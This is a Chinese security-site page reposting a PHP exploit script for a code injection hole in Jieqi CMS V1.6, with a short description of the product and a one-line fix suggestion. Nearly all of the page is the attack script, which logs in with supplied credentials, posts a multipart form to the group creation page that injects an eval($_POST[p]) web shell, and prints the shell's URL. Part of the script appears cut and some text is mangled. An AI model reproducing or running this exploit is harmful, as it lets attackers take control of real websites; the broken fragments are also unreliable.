好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

Jieqi CMS V1.6 PHP代码注入缺陷 - 网站安全 - 自学p

杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。

 

该系统存在多个远程安全 漏洞 ,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。

 需要有一个能创建圈子的用户。 

 

<?php

 

print_r('

+---------------------------------------------------------------------------+

Jieqi CMS V1.6 PHP Code Injection Exploit

by flyh4t

mail: phpsec at hotmail dot com

team: http://HdhCmsTestwolvez.org

+---------------------------------------------------------------------------+

');

/**

 * works regardless of php.ini settings

*/

if ($argc < 5) {

print_r('

+---------------------------------------------------------------------------+

Usage: php '.$argv[0].' host path username

host:      target server (ip/hostname)

path:      path to jieqicms 

uasename:  a username who can create group

Example:

php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password

+---------------------------------------------------------------------------+

');

exit;

}

 

error_reporting(7);

ini_set('max_execution_time', 0);

 

$host = $argv[1];

$path = $argv[2];

$username = $argv[3];

$password = $argv[4];

 

/*get cookie*/

$cookie_jar_index = 'cookie.txt';

$url1 = "http://$host/$path/login.php";

$params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1";

$curl1 = curl_init();

curl_setopt($curl1, CURLOPT_URL, $url1);

curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index);

curl_setopt($curl1, CURLOPT_POST, 1);

curl_setopt($curl1, CURLOPT_POSTFIELDS, $params);

ob_start();

$data1 = curl_exec($curl1);

if ($data1 === FALSE) {

echo "cURL Error: " . curl_error($ch);

exit('exploit failed');

}

curl_close($curl1);

ob_clean();

 

/*get shell*/

 

Content-Disposition: form-data; name="gname"

 

';

$params .="';";

$params .='eval($_POST[p]);//flyh4t

Content-Disposition: form-data; name="gcatid"

 

Content-Disposition: form-data; name="gaudit"

 

Content-Disposition: form-data; name="gbrief"

 

-----------------------------23281168279961--

';

 

$url2 = "http://$host/$path/modules/group/create.php";

$curl2 = curl_init();

$header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' );

curl_setopt($curl2, CURLOPT_URL, $url2);

curl_setopt($curl2, CURLOPT_HTTPHEADER, $header);

curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index);

 

curl_setopt($curl2, CURLOPT_POST, 1);

curl_setopt($curl2, CURLOPT_POSTFIELDS, $params);

ob_start();

curl_exec($curl2);

curl_close($curl2);

$resp = ob_get_contents(); //$rs就是返回的内容

ob_clean(); HdhCmsTest2cto测试数据

 

preg_match('/g=([0-9]{1,4})/', $resp, $shell);

 

//print_r($shell);

//print_r($resp);

 

$url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php";

echo "view you shell here(password:p)\r\n" ;

echo $url;

 

 

修复方案: 转意特殊字符 

 

查看更多关于Jieqi CMS V1.6 PHP代码注入缺陷 - 网站安全 - 自学p的详细内容...

  阅读:51次